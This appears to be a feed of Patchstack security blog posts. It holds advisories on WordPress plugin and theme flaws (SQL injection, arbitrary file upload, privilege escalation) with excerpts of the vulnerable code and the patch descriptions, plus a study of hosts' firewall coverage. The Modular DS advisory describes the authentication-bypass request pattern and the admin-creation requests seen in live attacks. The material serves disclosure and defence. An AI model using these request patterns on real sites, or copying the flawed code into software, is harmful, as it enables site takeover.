The post SQL Injection Vulnerability in Quiz and Survey Master (QSM) Plugin Affecting 40k+ Sites appeared first on Patchstack.
]]>
SQL Injection
This blog post is about a Subscriber+ SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin. If you're a QSM user, please update to at least version 10.3.2.
This vulnerability was discovered and reported by Patchstack Alliance community member Doan Dinh Van.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe QSM plugin, with over 40,000 active installations, is a plugin for creating quizzes, surveys, and forms. It includes advanced features like multimedia support and a drag-and-drop quiz builder.

In versions 10.3.1 and below, the QSM plugin is vulnerable to SQL injection, allowing any logged-in user to inject commands into the database. This means any Subscriber or higher user is able to perform a wide variety of unwanted actions, including potentially extracting sensitive information stored in the site's database.
This vulnerability has been patched in version 10.3.2 and is tracked with CVE-2025-67987.
The root cause of the issue lies in the qsm_rest_get_question function:
function qsm_rest_get_question( WP_REST_Request $request ) {
// Makes sure user is logged in.
if ( is_user_logged_in() ) {
global $wpdb;
$current_user = wp_get_current_user();
if ( 0 !== $current_user ) {
$question = QSM_Questions::load_question( $request['id'] );
$categorysArray = QSM_Questions::get_question_categories( $question['question_id'] );
if ( ! empty( $question ) ) {
$is_linking = $request['is_linking'];
$comma_separated_ids = '';
if ( 1 <= $is_linking ) {
if ( isset( $question['linked_question'] ) && '' == $question['linked_question'] ) {
$comma_separated_ids = $is_linking;
} else {
$linked_question = isset($question['linked_question']) ? $question['linked_question'] : '';
$exploded_question_array = explode(',', $linked_question);
if ( ! empty($linked_question) ) {
$exploded_question_array = array_merge([ $is_linking ], $exploded_question_array);
} else {
$exploded_question_array = [ $is_linking ];
}
$comma_separated_ids = implode(',', array_unique($exploded_question_array));
}
}
$quiz_name_by_question = array();
if ( ! empty($comma_separated_ids) ) {
$quiz_results = $wpdb->get_results( "SELECT `quiz_id`, `question_id` FROM `{$wpdb->prefix}mlw_questions` WHERE `question_id` IN (" .$comma_separated_ids. ")" );
--------------------------- CUT HERE ---------------------------
The plugin works off an assumption that the is_linking parameter is an ID, however it does no validation or sanitizing of the parameter's value before including it in a larger list of question IDs. This list is eventually included directly in an SQL statement (WHERE `question_id` IN (" .$comma_separated_ids. ")"). Because the value is not validated (e.g., with is_int/intval to ensure the value is a number), and the SQL statement is not using a prepared statement (which ensures the value is sanitized before being integrated into the SQL query), a malicious user could send an abnormal value containing an SQL statement, and have that statement be executed as part of the $quiz_results query.
In version 10.3.2, the vulnerability is mitigated by validating the content of the is_linking parameter with intval. This forces the value to be an integer, regardless of the original content. By ensuring the value is an integer, it can be safely added to a query without risk of injection, as no additional SQL commands could be included.

Database calls can be dangerous. User-provided input can be untrustworthy. Combining the two is a recipe for disaster. Even when a particular value isn't intended to be directly provided by a user, any input coming from a request can be modified and needs to be validated before use.
Any input from the user should be validated, sanitized, or both before use. In this case, intval was used to both ensure the value was a number and sanitize it by forcing the value to become a number. When the data is able to be validated as something known and safe, that's great. For anything that may be free form or more complicated to validate, sanitization is a must. PHP itself includes some functions for type validation, and WordPress offers many other sanitization functions for many common use cases.
Regarding SQL specifically, prepared statements are highly recommended. Prepared statements are used to tell the database or the database access APIs, "This is the actual query" and "this is data for the query"; this means the data can be treated specifically as data, and its content won't be used as part of the query that contains it. Whenever possible, we recommend using wpdb::prepare on any SQL queries that may contain untrusted data.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base!
The post SQL Injection Vulnerability in Quiz and Survey Master (QSM) Plugin Affecting 40k+ Sites appeared first on Patchstack.
]]>The post The Myth of Secure Hosting - Only 26% of Vulnerability Attacks Blocked By Hosts appeared first on Patchstack.
]]>"Secure hosting" is a phrase that's increasingly used, and most hosts offer some level of security as part of their services. This mostly refers to known security suites like Cloudflare or in-house firewall solutions. But most of these solutions are ineffective against WordPress vulnerability exploits.
In 2025 we conducted a limited experiment to see if popular web hosting solutions could prevent attacks against known exploited vulnerabilities.
In the test we used 11 vulnerabilities that were known to be exploited in real-world attacks. We then tested these attacks on hosts using various solutions, from big security suites like Cloudflare to custom firewalls.
The shocking answer was that 88% of attacks we ran resulted in a successful site takeover.
But we wanted to see what would happen if we expanded the scope of the experiment. So for our second test, we decided to include more hosting companies, more different defensive layers, and more vulnerability types.
Our assumption was that the number of successful attacks would decrease as hosts would be better at blocking the more generic, non-WordPress specific vulnerabilities.
The new results show that while hosts overall did a little better against more generic attacks, 74% of all attacks still succeeded. Furthermore, this test also included the same 10 original vulnerabilities we tested in the first experiment. We had expected the hosts to react & mitigate those after our reports, but this was largely not the case.
It was worrying to see how many of the vulnerabilities were still not addressed by companies that had been tested previously.
We know WordPress vulnerabilities are still on the rise, and vibe-coding practices will only exacerbate the problem. Furthermore, Google reported that time-to-exploit metrics hit negative values for the first time in history in 2024, meaning attacks are happening faster than official updates are getting rolled out.
This case study is about looking past the marketing to see how well hosting companies actually defend against vulnerabilities.
After our initial test was published, we were left with a question. We knew hosts weren’t blocking the specific major vulnerabilities we had tested, but we wanted to know what they were blocking.
The second test series meant more hosts, for a better perspective of the industry as a whole, and more tests encompassing a wider variety of vulnerabilities with a wider range of attack methods, so we could get a real idea of what the industry is and isn’t protecting against.
On top of that, we decided early on to bring in a group of industry leaders to provide input on our vulnerability selection, test suite, and testing processes, so we could ensure this experiment was as fair as possible.
Based on our original test, we had some assumptions on how the second series’ results would look. During the original test, multiple hosts showed some amount of protection against common, non-WordPress-specific vulnerabilities, such as SQL injection or directory traversal attacks. We expected to see many hosts block these attacks, and as we included significantly more of these non-WordPress-specific tests, we expected the total number of blocked vulnerabilities to increase.
That said, we also know the reality of protecting against WordPress-specific attacks, vulnerabilities like broken access control, or privilege escalation.
These types of attacks are generally plugin/theme specific; often require specific knowledge of the request only WordPress knows (such as, “does the user trying to do this have the correct privileges to do so?”); and are essentially impossible to block in a generic way, meaning there’s no “standard” rule a firewall could use to block them.
Based on these factors, and on how poorly the industry did during our original test, we assumed most WordPress-specific vulnerabilities would be successfully exploitable.
With the goals of understanding the hosting ecosystem’s security better, and seeing if our assumptions held water in a broader evaluation, we built the framework for this experiment. First, we constructed a list of vulnerabilities.
Our original tests consisted almost entirely of major vulnerabilities - ones publicly known to be mass-exploited, or which had impacted huge numbers of users.
For the new experiment, we wanted to go wide rather than focus in on specifics; we selected 20 additional vulnerabilities, all published in either 2025 or 2024, with a goal of covering as many categories as possible, and involving different specific attacks to try and give the hosts we tested the best possible opportunities to block at least some of our attacks.
The final vulnerability selection includes 10 of the original vulnerabilities from our v1 tests (#1-9, #20), as well as 20 new vulnerabilities to expand the total scope.
| Plugin | Vulnerability Type | Privilege Required | CVSS Score | Patchstack Priority Score* |
|---|---|---|---|---|
| 1: DB Backup | Broken Access Control | Unauthenticated | 6.5 | Medium |
| 2: TI WooCommerce Wishlist | SQL Injection | Unauthenticated | 9.3 | High |
| 3: TI WooCommerce Wishlist | Arbitrary File Upload | Unauthenticated | 10 | High |
| 4: WooCommerce Payments | Privilege Escalation | Unauthenticated | 9.8 | High |
| 5: Suretriggers | Privilege Escalation | Unauthenticated | 9.8 | High |
| 6: Post SMTP | Broken Authentication | Subscriber | 8.8 | High |
| 7: GiveWP | PHP Object Injection | Unauthenticated | 10 | High |
| 8: CSS/JavaScript Toolbox | Local File Inclusion | Subscriber | 7.5 | High |
| 9: Litespeed Cache | Cross Site Scripting | Unauthenticated | 8.3 | High |
| 10: WP Photo Album Plus | Arbitrary File Upload | Unauthenticated | 10 | High |
| 11: 4ECPS Webforms | Arbitrary File Upload | Unauthenticated | 10 | High |
| 12: CleverReach WP | SQL Injection | Unauthenticated | 9.3 | High |
| 13: WP Job Portal | Arbitrary File Download | Unauthenticated | 7.5 | High |
| 14: Tainacan | Arbitrary File Deletion | Unauthenticated | 8.6 | High |
| 15: WC Multilingual | Broken Access Control | Unauthenticated | 5.3 | Low |
| 16: File Manager Advanced | Broken Access Control | Unauthenticated | 5.3 | Low |
| 17: Really Simple SSL | Cross Site Request Forgery | Unauthenticated | 4.3 | Low |
| 18: PixelYourSite | Cross Site Request Forgery | Unauthenticated | 5.4 | Low |
| 19: Secure Copy Content Protection | Cross Site Scripting | Unauthenticated | 7.1 | Medium |
| 20: Login/Logout Redirect | Open Redirection | Unauthenticated | 4.7 | Low |
| 21: Blog Designer Pack | Local File Inclusion | Unauthenticated | 8.1 | High |
| 22: JS Support Ticket | Local File Inclusion | Unauthenticated | 8.1 | High |
| 23: WP Funnel Manager | PHP Object Injection | Unauthenticated | 9.8 | High |
| 24: Participants Database | PHP Object Injection | Unauthenticated | 9.8 | Medium |
| 26: Profitori / The E-Commerce ERP | Privilege Escalation | Unauthenticated | 9.8 | High |
| 26: Spreadsheet Price Changer | Privilege Escalation | Unauthenticated | 9.8 | High |
| 27: Password Policy Manager | Broken Authentication | Subscriber | 8.8 | High |
| 28: Easy Stripe | Remote Code Execution | Unauthenticated | 10 | High |
| 29: PDF2Post | Remote Code Execution | Subscriber | 9.9 | High |
| 30: MDFT | SQL Injection | Unauthenticated | 9.3 | High |
The other major decision made was hosts to test. For this, we again wanted a broad spectrum of coverage. We looked to find both very large and relatively small hosts, as well as a mix of hosts who prominently advertised their security, as well as those who only mentioned it in passing.
To perform our tests, we set up each host with a stock WordPress instance. We used the most recent available WordPress version, and the stock Twenty Twenty-Five theme.
If a host provided their own security-related plugins (e.g., Jetpack), we would enable these. Otherwise, no other plugins were enabled. We would also review the host’s dashboard for security options, and ensure those features were enabled.
After WordPress was installed, we installed the vulnerable versions of each plugin with a vulnerability we were testing, as well as any plugins they required (e.g., WooCommerce). Once installed, we automatically applied a preset configuration to the site and all plugins, ensuring each testing environment was as identical as possible.
Finally we would attempt to exploit each vulnerability using a prebuilt proof of concept (PoC) exploit. We intentionally kept the PoCs identical in each test and used the simplest reasonable PoCs we could produce. We also did not use any obfuscation or advanced bypass techniques in these attempts.
The goal was to simulate real-life conditions by using the simplest attacks possible, thereby giving the hosts a fair chance to block the exploits.
As we had assumed the hosting defences did better compared to our original test results. On average, hosts managed to block 25.89% of exploit attempts, versus 12.8% in the original study.
However, this means roughly 74% of attacks still succeeded.
In the chart below you can see the breakdown of complete and partial success rates by host and the security setup that was tested:
⚠️ Note: Host names are hidden, but they are known to the external observers.
After reviewing these results and correlating them with the security solutions each host used, we found some interesting notes on the efficacy of some industry solutions.
We found that WordPress-specific vulnerabilities were still the least blocked across all hosts.
Of the high-impact vulnerabilities, Privilege Escalation attacks were blocked only 12% of the time.
The biggest shock was the gap between how many companies describe their security and how it performs in practice.
But if you think about it, it is understandable because hosting providers rely on security stacks that promise strong protection, while even the most popular solutions do not provide full coverage.
Privilege Escalation is considered one of the most severe types of attacks - once an attacker has gained Administrator privileges, they can edit any content on your website, see any sensitive data (e.g., customer information on an e-Commerce website), or potentially even upload their own malicious PHP files, often bypassing any protections against PHP upload attacks, using WordPress’ built in tools for plugin/theme management.
Many hosts advertised a commercial web application firewall, specifically a solution often used for DNS management, anti-DDoS protection, and CDN functionality.
While these services often have a managed ruleset that can block common attack types (e.g., directory traversal, cross-site scripting, or PHP object injection), we did not see consistent results across all hosts using these products, even between different companies using the same product.
What surprised me about the results, is that the same security solutions had wildly varying degrees of efficacy.
Based on this, we believe hosts are often enabling only certain components of these solutions, obfuscating what their WAF solution does and does not protect against, and can’t be evaluated solely because they “use an X brand firewall”.
It is also likely that hosts are limiting the capabilities of firewalls, as stricter rules would result in high volumes of false positives, which in turn would disrupt their normal services.
When looking at generic, non-WordPress specific vulnerability attacks, hosts’ in-house firewall solutions outperformed commercial solutions.
Our results show that the hosts that performed best maintained their own internal firewall solutions.
While seeing a host advertise an in-house firewall isn’t a silver bullet for securing your WordPress websites, it does confirm another assumption we had: the hosts that perform best are the ones investing resources in improving their environments.
The vast majority of successful blocks were from non-WordPress-specific vulnerabilities. The most consistently blocked vulnerability class was Arbitrary File Uploads*, in which all three tested vulnerabilities were blocked 60% of the time.
Arbitrary File Upload attacks involve uploading a malicious PHP file to the website, and once fully exploited, an attacker can immediately gain full control of the hosting environment. We considered the attack blocked when either the file itself was prevented from being uploaded or the hosting environment prevented our execution of it.
Cross-Site Request Forgery (CSRF) attacks were the only ones that weren't blocked by any host, or even Patchstack (in fact, we generally don't provide protection rules for CSRF).
This is due to the unique nature of CSRF vulnerabilities. These are usually impossible to exploit at scale, and they require specific targeting and social engineering to succeed. It's also difficult to prevent these exploits using protection rules without severely impacting normal site functionality.
No host can reasonably be expected to cover these vulnerabilities, and the two CSRF cases were selected for the experiment solely to ensure the widest possible coverage of different vulnerability types.
The results of this study support our initial conclusion that WordPress vulnerability mitigation remains a largely unsolved problem.
Hosting companies seem to agree - in their 2025 Web Hosting Trends survey, Cloudlinux reported that 64% of hosting companies cited WordPress vulnerabilities specifically as their biggest security challenge.
In our conversations with hosting industry representatives, we've noticed the biggest problem isn't that hosts don't care about vulnerability attacks - it's that they think their existing solutions have got them covered.
Hosting companies are not security companies, yet they still carry responsibility for the security of their customers. Many providers are not even aware of the problem and assume that using third-party security tools is enough, so the issue often gets ignored.
Effective security, however, works in layers. Different threats require different approaches, and as we saw from the test results, one-stop-shop tools & generic WAFs cannot cover vulnerability exploits.
With vibe-coding introducing more security issues both within and outside the WordPress ecosystem, hosts need to rethink how they build their security stacks to provide safe solutions for their customers.
If you're a hosting company and would like to have your security stack tested using the same framework then get in touch and we'll perform this pentest for you for free.
If you're interested, simply fill out the form on this page and our security team will be in touch.
P.S. your results will be kept confidential. You will also have full transparency into the vulnerabilities and attack methods used.
We'd like to thank Konrad Keck and Kevin Ohashi for helping us validate the test methods, and also for your questions and feedback throughout this process!
The post The Myth of Secure Hosting - Only 26% of Vulnerability Attacks Blocked By Hosts appeared first on Patchstack.
]]>The post Critical Arbitrary File Upload Vulnerability in RealHomes CRM Plugin Affecting 30k+ Sites appeared first on Patchstack.
]]>
Arbitrary File Upload
This blog post is about a Subscriber+ arbitrary file upload vulnerability in the RealHomes CRM. If you're a RealHomes CRM user, please update to at least version 1.0.1.
This vulnerability was discovered and reported by Patchstack Alliance community member wackydawg.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe RealHomes theme, with over 30,000 active installations, is a theme specifically designed for creating professional real estate websites and was developed by InspiryThemes. The theme itself has a bundled plugin called RealHomes CRM.

The theme itself offers extensive features like advanced search, property listing layouts (grid, list, map), front-end submission/management for users, payment integration (PayPal/Stripe), and integration with page builders like Elementor for easy customization, making property management and showcasing properties efficient for agents and businesses.
In versions 1.0.0 and below, the RealHomes CRM plugin is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily upload files via the upload CSV file process. This means any Subscriber or higher user is able to inject malicious code through the upload process, which can lead to a full site takeover.
This vulnerability has been patched in version 1.0.1 and is tracked with CVE-2025-67968.
The root cause of the issue lies in the upload_csv_file function:
public function upload_csv_file() {
check_ajax_referer( 'realhomes_crm_ajax_nonce', 'security' );
if ( empty( $_FILES['csv_file'] ) || $_FILES['csv_file']['error'] !== UPLOAD_ERR_OK ) {
wp_send_json_error( [ 'message' => esc_html__( 'Invalid file upload.', REALHOMES_CRM_TEXT_DOMAIN ) ] );
}
// Get the uploaded file info
$file = $_FILES['csv_file'];
$upload_dir = wp_upload_dir();
$target_dir = trailingslashit( $upload_dir['basedir'] ) . 'realhomes-crm/csv-import/';
// Ensure target directory exists
if ( ! file_exists( $target_dir ) ) {
wp_mkdir_p( $target_dir );
}
$file_name = pathinfo( $file['name'], PATHINFO_FILENAME );
$file_ext = pathinfo( $file['name'], PATHINFO_EXTENSION );
$target_file = $target_dir . $file['name'];
// Check if the file already exists and append a numeric postfix if needed
$counter = 1;
while ( file_exists( $target_file ) ) {
$target_file = $target_dir . $file_name . '-' . $counter . '.' . $file_ext;
$counter ++;
}
// Move the uploaded file to the target directory
if ( move_uploaded_file( $file['tmp_name'], $target_file ) ) {
$file_name = basename( $target_file );
$file_size = file_exists( $target_file ) ? round( filesize( $target_file ) / 1024, 0 ) : 0; // File size in KB
$uploaded_date = current_time( 'mysql' );
--------------------------- CUT HERE ---------------------------
First, we notice that there is a nonce check using the check_ajax_referer function. However, the realhomes_crm_ajax_nonce nonce value itself can be fetched from Subscriber role users on the wp-admin base page or front-end page.
Second, there is no proper permission check on the function, which allows users to just supply arbitrary files via $_FILES['csv_file']. Lastly, the function didn't have a proper file type and name check, and will directly upload the file via move_uploaded_file to the server.
In version 1.0.1, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action. The patch also implements a proper file type and extension check using the wp_check_filetype function.



Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.
However, like the WordPress developer documentation says:
Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.
Even when limited to only showing to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the View Page Source button and find a nonce hiding in there.
Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.
Lastly, always implement a proper file type and extension check on a file upload process. One of the built-in functions that can be used is the wp_check_filetype function.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Critical Arbitrary File Upload Vulnerability in RealHomes CRM Plugin Affecting 30k+ Sites appeared first on Patchstack.
]]>The post Critical Privilege Escalation Vulnerability in Modular DS plugin affecting 40k+ Sites exploited in the wild appeared first on Patchstack.
]]>
Unauthenticated Privilege Escalation
This blog post is about an Unauthenticated Privilege Escalation vulnerability in the Modular DS plugin. Patchstack has issued a mitigation rule to protect against exploitation of this vulnerability. If you're a Modular DS user, please update to at least version 2.6.0.
This vulnerability was discovered and reported to Patchstack by Teemu Saarentaus from group.one.
Update 16 Jan 2026
An additional exploit path was discovered that is being actively exploited, this occurred due to another piece of code that sets the authentication of the current user to that of an administrator allowing the execution of any WordPress REST route under the admin privilege. The exploitation attempts that we have seen consists of the creation of an administrator user on the website, typically under the username backup with email [email protected] and [email protected].
Patchstack has deployed a mitigation rule for this as well as a vulnerability entry under CVE 2026-23800, more IOC/IOA's have been added further down in this blog post.
Again, much credit to the Modular DS team for quickly tackling this and their great communication by releasing a version 2.6.0 that resolves this new vulnerability.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsModular DS is a plugin developed by modulards.com, which has over 40,000 active installs. Its goal is to help managing multiple WordPress websites, including monitoring, updating, as well as performing various tasks remotely.

In versions 2.5.1 and below, the plugin is vulnerable to privilege escalation, due to a combination of factors including direct route selection, bypassing of authentication mechanisms, and auto-login as admin.
To provide some context, the plugin exposes its routes through a Laravel-like router under the /api/modular-connector/ prefix in src/app/Providers/RouteServiceProvider.php, boot().
The sensitive routes are grouped under a Route::middleware('auth') group, which is supposed to enforce authentication. However, it turned out to be possible to bypass it because the mechanism ultimately relies on a flawed isDirectRequest() method (vendor/ares/framework/src/Foundation/Http/HttpUtils.php) that bypasses authentication when the "direct request" mode is activated.
This mode can be enabled simply by supplying an origin parameter set to "mo" and a type parameter set to any value.
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
// TODO Now we use Laravel routes but we can't directly use the routes
$isFromSegment = \false && $request->segment(1) === 'api' && $request->segment(2) === 'modular-connector';
if ($isFromSegment) {
return \true;
}
return \false;
}
There is no verification of a signature, secret, IP, or mandatory User-Agent: the simple pair origin=mo&type=xxx is enough for the request to be considered as a Modular direct request.
As well, when the request is considered "direct", the auth middleware in vendor/ares/framework/src/Foundation/Auth/ModularGuard.php only checks if the site is connected to Modular via the validateOrRenewAccessToken() function.
Therefore, as soon as the site has already been connected to Modular (tokens present/renewable), anyone can pass the auth middleware: there is no cryptographic link between the incoming request and Modular itself. This exposes several routes, including /login/, /server-information/, /manager/ and /backup/, which allow various actions to be performed, ranging from remote login to obtaining sensitive system or user data.
Route::middleware('auth')
->group(function () {
Route::get('/login/{modular_request}', [AuthController::class, 'getLogin'])
->name('login');
Route::get('/users/{modular_request}', [AuthController::class, 'getUsers'])
->name('manager.users.index');
Route::get('/server-information', [ServerController::class, 'getInformation'])
->name('manager.server.information');
[...]
#region Cache
Route::get('/cache/clear', [CacheController::class, 'clear'])
->name('manager.cache.clear');
#endregion
#region Manager
Route::get('/manager/{modular_request}', [ManagerController::class, 'index'])
->name('manager.update');
Route::get('/manager/{modular_request}/install', [ManagerController::class, 'store'])
->name('manager.install');
[...]
Route::get('/manager/{modular_request}/delete', [ManagerController::class, 'update'])
->name('manager.delete');
#endregion
# region Safe Upgrade
Route::get('/manager/{modular_request}/safe-upgrade/backup', [SafeUpgradeController::class, 'getSafeUpgradeBackup'])
->name('manager.safe-upgrade.backup');
[...]
Route::get('/manager/{modular_request}/safe-upgrade/rollback', [SafeUpgradeController::class, 'getSafeUpgradeRollback'])
->name('manager.safe-upgrade.rollback');
# endregion
#region Backup
Route::get('/tree/directory/{modular_request}', [BackupController::class, 'getDirectoryTree'])
->name('manager.directory.tree');
[...]
Route::get('/woocommerce/{modular_request}', WooCommerceController::class)
->name('manager.woocommerce.stats');
});
In the controller src/app/Http/Controllers/AuthController.php, methodgetLogin(SiteRequest $modularRequest), the code attempts to read a user ID from the body of $modularRequest. If this is empty, it falls back to getting existing admin or super admin users via getAdminUser(), then logs in as that user and returns an admin redirect.
Since this code can be accessed by unauthenticated users because of the flaw previously explained, it allows an immediate privilege escalation.
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser();
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
// TODO Make a custom exception
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true);
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
This vulnerability has been patched in version 2.5.2 and is tracked with CVE-2026-23550.
In version 2.5.1, the route was first matched based on the attacker-controlled URL. So if an attacker called
/api/modular-connector/login/anything?..., the router would naturally resolve the login/{modular_request} route and pass it to the filter. Then, in RouteServiceProvider::bindOldRoutes(), if type was not recognized (e.g. foo), the code would not fall back to any alternative route and would simply return the original route (/login/...).
In version 2.5.2, URL-based route matching has been removed. The router no longer matches routes for this subsystem based on the requested path and route selection is now entirely driven by the filter logic.

As well, a default route pointing to an error 404 was added in src/routes/api.php. In src/app/Providers/RouteServiceProvider.php, bindOldRoutes() was refactored: its signature changed (it no longer receives $route), it now retrieves the available routes, and binds it to the current request with a default fallback.


Only afterwards, if the request is a "direct request" and if type is recognized (request, oauth, lb), it replaces $route with an allowed route (by name) and binds it. Otherwise, the code stays on the default route, which results in a 404.
According to WP.one Support Engineer's team, first attacks were detected on January 13th around 2AM UTC0. The pattern is a GET call to /api/modular-connector/login/, with origin parameter set to "mo" and type set to "foo".
Following Patchstack mitigation rule deployment, we immediately noticed exploitation attempts matching the same patterns on our client's sites.
When successfully logged in through the flaw, the attacker then attempts to create a new "PoC Admin" WordPress administrator user, using a username containing "admin" and a bogus email address.
So far, we have identified the following attacking IP addresses:
Request path looking like /?rest_route=/wp/v2/users&origin=mo&type=x where the user agent is often firefox and a body payload is provided with a parameter username containing backup and email parameter containing [email protected] or [email protected].
We have identified the following attacking IP addresses:
This vulnerability highlights how dangerous implicit trust in internal request paths can be when exposed to the public internet. In this case, the issue was not caused by a single bug, but by several design choices combined together: URL-based route matching, a permissive "direct request" mode, authentication based only on the site connection state, and a login flow that automatically falls back to an administrator account.
When these elements are chained, an unauthenticated attacker can reach a sensitive internal route and trigger an admin login, leading to a full site compromise. The fact that exploitation was seen in the wild shortly after mitigation rules were deployed confirms that this flaw is actively abused.
This case shows that internal or inter-service features should never be reachable without strong validation of where the request comes from. Authentication should verify the requester itself, not just whether the site is connected, and routing decisions should not depend on attacker-controlled parameters.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Critical Privilege Escalation Vulnerability in Modular DS plugin affecting 40k+ Sites exploited in the wild appeared first on Patchstack.
]]>The post Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites appeared first on Patchstack.
]]>
Arbitrary File Upload
This blog post is about a Subscriber+ arbitrary file upload vulnerability in the Motors theme. If you're a Motors theme user, please update to at least version 5.6.82.
This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe Motors theme, with over 20,000 active installations, is a theme specifically designed for building automotive websites and was developed by StylemixThemes.

The theme is a popular, feature-rich WordPress theme and plugin designed for building automotive websites, specifically car dealerships, rental sites, and classified listings for vehicles (cars, bikes, boats, etc.).
In versions 5.6.81 and below, the theme is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily install and activate plugins on the site. This means any Subscriber or higher user is able to inject malicious code through the plugin installation and activation and leading to a full site takeover.
This vulnerability has been patched in version 5.6.82 and is tracked with CVE-2025-64374.
The root cause of the issue lies in the mvl_theme_install_base function:
add_action( 'wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base' );
function mvl_theme_install_base() {
check_ajax_referer( 'mvl_theme_install_base', 'nonce' );
$response = array();
$plugin_url = sanitize_text_field( $_GET['plugin'] );
$plugin_slug = 'motors-car-dealership-classified-listings';
ob_start();
require_once ABSPATH . 'wp-load.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';
require_once get_template_directory() . '/inc/install_plugin/stm_upgrader_skin.php';
$plugin_upgrader = new Plugin_Upgrader( new Motors_Theme_Plugin_Upgrader_Skin( array( 'plugin' => $plugin_slug ) ) );
$installed = ( mvl_theme_check_plugin_active( $plugin_slug ) ) ? true : $plugin_upgrader->install( $plugin_url );
mvl_theme_activate_plugin( $plugin_slug );
$response['message'] = ob_get_clean();
$response['url'] = admin_url( 'admin.php?page=mvl_plugin_settings' );
wp_send_json( $response );
}
First, we notice that there is a nonce check using the check_ajax_referer function. However, the mvl_theme_install_base nonce value itself can be fetched from Subscriber role users on the wp-admin base page.
Since there is no proper permission check on the function, users can just supply arbitrary plugin code from any URL via the $_GET['plugin'] parameter, and the plugin will be installed or activated.
In version 5.6.82, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.

Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.
However, like the WordPress developer documentation says:
Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.
Even when limited to only showing to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the View Page Source button and find a nonce hiding in there.
Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites appeared first on Patchstack.
]]>The post Privilege Escalation Vulnerability in Soledad Theme Affecting 50k+ Sites appeared first on Patchstack.
]]>
Privilege Escalation
This blog post is about an Subscriber+ privilege escalation vulnerability in the Soledad theme. If you're a Soledad theme user, please update to at least version 8.6.9.1.
This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe Soledad theme, which has over 57,000 active sales, is a general-purpose WordPress theme sold by PenciDesign.

In versions 8.6.9 and below, the theme is vulnerable to privilege escalation, due to allowing any logged-in user to change global site settings, such as users_can_register and default_role, through the penci_update_option AJAX action. This action requires nonce validation, but does not check the user's permissions or limit what options can be changed. Additionally, the nonce in question is available to any user able to access /wp-admin. Put together, this means any Subscriber or higher user is able to change site registration settings to allow new users to be created as Administrators, leading to a full site takeover.
This vulnerability has been patched in version 8.6.9.1 and is tracked with CVE-2025-64188.
The root cause of the issue lies in the penci_update_option function:
public function penci_update_option() {
